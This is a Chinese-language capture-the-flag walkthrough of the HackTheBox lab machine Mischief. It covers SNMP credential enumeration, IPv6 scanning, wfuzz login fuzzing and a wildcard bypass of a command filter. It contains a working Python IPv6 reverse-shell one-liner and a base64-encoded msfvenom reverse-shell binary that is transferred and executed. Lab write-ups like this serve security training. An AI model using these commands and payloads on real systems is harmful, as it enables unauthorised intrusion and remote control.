这次的目标靶机是 hackthebox的 Mischief
IP地址:10.10.10.92
======================================================================================
首先我们用nmap对目标机器进行扫描
nmap -T4 -sV -p- 10.10.10.92
我们访问3366
http://10.10.10.92:3366
发需要一个登陆凭证
好像没有什么额外的信息,那么我们用Nmap扫下UDP端口看看有没有什么收获
nmap -sU 10.10.10.92
发现目标靶机开启了snmp服务,我们在详细看看靶机上snmp上的信息
nmap -sU -sV -p 161 10.10.10.92
这里看到靶机开启了2个版本的snmpV1和snmpV1,v3版本是增加了安全机制的,所以我们使用v1来获取信息
那么接下来我们用snmpwalk来采集下信息
snmpwalk -c public -v 2c 10.10.10.92 (这里-v 我1或者2c都行关系)
-v 指定snmp版本 -c指定连接设备的snmp密码
当然你为了查找方便 也可以这样
snmpwalk -c public -v 2c 10.10.10.92 > 10-10-10-92.txt
先把结果导出到一个文件
cat 10-10-10-92.txt | grep 3366
然后在grep下
在这里我们找到了登陆凭证
用户名: loki 密码: godofmischiefisloki
我们获得了新的凭证,说明我们还要找能使用这些凭证的地方
我们注意到在snmp枚举中,我们看到Apache正则运行但是我们无法访问它,所以apache应该在监听的是IPV6的地址而且在刚刚smpwalk的结果中的确也发现出现了IPV6的地址,所以我们需要找到这个地址
这里我们找到了这个靶机的创造者写的一个
snmp IPV6枚举工具
https://github.com/trickster0/Enyx
我们用nmap对这个地址在扫描下
nmap -p- -6 dead:beef:0000:0000:0250:56ff:feb9:8283
#-p- 表示扫描所有端口
#-6 表示扫描的是ipv6的地址
发现开放了22和80端口,那么我们对这2个端口在详细扫描下
nmap -p 80,22 -6 -sV -sC -oA nmap.dead:beef:0000:0000:0250:56ff:feb9:8283 dead:beef:0000:0000:0250:56ff:feb9:8283
#-p 80,22 指定扫描端口
#-6 扫描ipv6的地址
#-sV 探测开启的端口来获取服务、版本信息
#-sC 脚本扫描等同于--script=default
#-oA 三种格式输出报告 这里我命名为nmap.dead:beef:0000:0000:0250:56ff:feb9:8283
我们登陆下网站
这这里我们看到URL的里面IPV6的变化我们的地址
dead:beef:0000:0000:0250:56ff:feb9:8283变成dead:beef::0250:56ff:feb9:8283
【如果IPV6有连续的零字段,则可以使用两个冒号来编写它们】
之后试了2个账号密码发现都是错的,猜测可能是用户名有问题
我们Ctrl+u看下网页源码,找下账号密码的表单名叫什么
这里我用wfuzz
然后使用来自Seclistsd的常用短用户列表来进行用户名模糊
https://github.com/sdfzy/SecLists
分别把这2个密码带入FUZZ
wfuzz -w SecLists/Usernames/top-usernames-shortlist.txt -d "user=FUZZ&password=trickeryanddeceit" --sc 302 http://[dead:beef::250:56ff:feb9:8283]/login.php
#-w 加载字典文件
#-d POST的数据 FUZZ是要模糊测试的标志位
#--sc 筛选出响应码为302的结果
可以看出密码:trickeryanddeceit 出现了结果
使用凭据(administrator:trickeryanddeceit)登录。
我们执行ls发现被拒绝了
我们可以用shell通配符绕过 如星号*
和问号?
,分别为零个或多个字符和单个字符
/bin/?s -la /home/loki; ping -c 2 127.0.0.1
这个提示我们找下 对应的文件
我们来获取下里面的内容
但是发现用cat 获取credentials内容是被禁止的,然后反复尝试,之下下列语句即可
/bin/cat /home/loki/c* &&ping -c 2 127.0.0.1
当然你也可以用base64 编码 然后在解密它
base64 /home/loki/c*; ping -c 2 127.0.0.1
解密如下:
然后我们登陆ssh
得到user标志
我们getfacl loki对su sudo的权限
发现就只有可读权限
那我们换条路,通过刚刚的命令执行面板来反弹一个shell
这里我们的kali要用ncat(nmap提供的)来监听ipv6而不是nc
【不知道为什么反弹shell的步骤没有成功,找不到原因,接下来的内容是引用别的大佬的wp】
一种是通过python来反弹shell:
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1000",3535,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
然后ncat 监听
ncat -6 -l dead:beef:2::1001 3535
还有一种是通过msf反弹
先生成payload
msfvenom -p linux/x86/shell_reverse_tcp_ipv6 LHOST=dead:beef:2::116a LPORT=1234 -f elf -o rev
然后ncat监听
ncat -6 -lnvp 1234
我们要先对payload进行base64编码方便传送
cat rev |base64
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAA
AAAAAIAECACABAjyAAAAkAEAAAcAAAAAEAAAMdv342oGagFqConhsGazAc2AicYxyTHbU1NocR3o
wWgtv+UkaHABFEBoIAEZ8FNmaCK4ZmgKAInhahxRVjHbMcCwZrMDieHNgDHbOdh1NjHJ9+GJ87A/
zYAxwEGJ87A/zYAxwEGJ87A/zYAx0vfiUmgvL3NoaC9iaW6J41JTieGwC82AwzHbU2oK9+OJ47Ci
zYDpff///8MxwLABzYA=
然后通过命令传过去并解码保存
echo f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAA
AAAAAIAECACABAjyAAAAkAEAAAcAAAAAEAAAMdv342oGagFqConhsGazAc2AicYxyTHbU1NocR3o
wWgtv+UkaHABFEBoIAEZ8FNmaCK4ZmgKAInhahxRVjHbMcCwZrMDieHNgDHbOdh1NjHJ9+GJ87A/
zYAxwEGJ87A/zYAxwEGJ87A/zYAx0vfiUmgvL3NoaC9iaW6J41JTieGwC82AwzHbU2oK9+OJ47Ci
zYDpff///8MxwLABzYA=
| base64 -d >/tmp/rev; ping -c 2 127.0.0.1
然后在更改下权限
/bin/?hm?d 777 /tmp/rev; ping -c 2 127.0.0.1
最后执行shell
/tmp/rev; ping -c 2 127.0.0.1
我们用loki的ssh在.bash_history中找到一个有趣的东西,可能是root密码
我们试着su -
发现被禁止
那么我们用反弹的shell试试
成功!
cat下root.txt
提示说flag不在这
那我们用find命令找下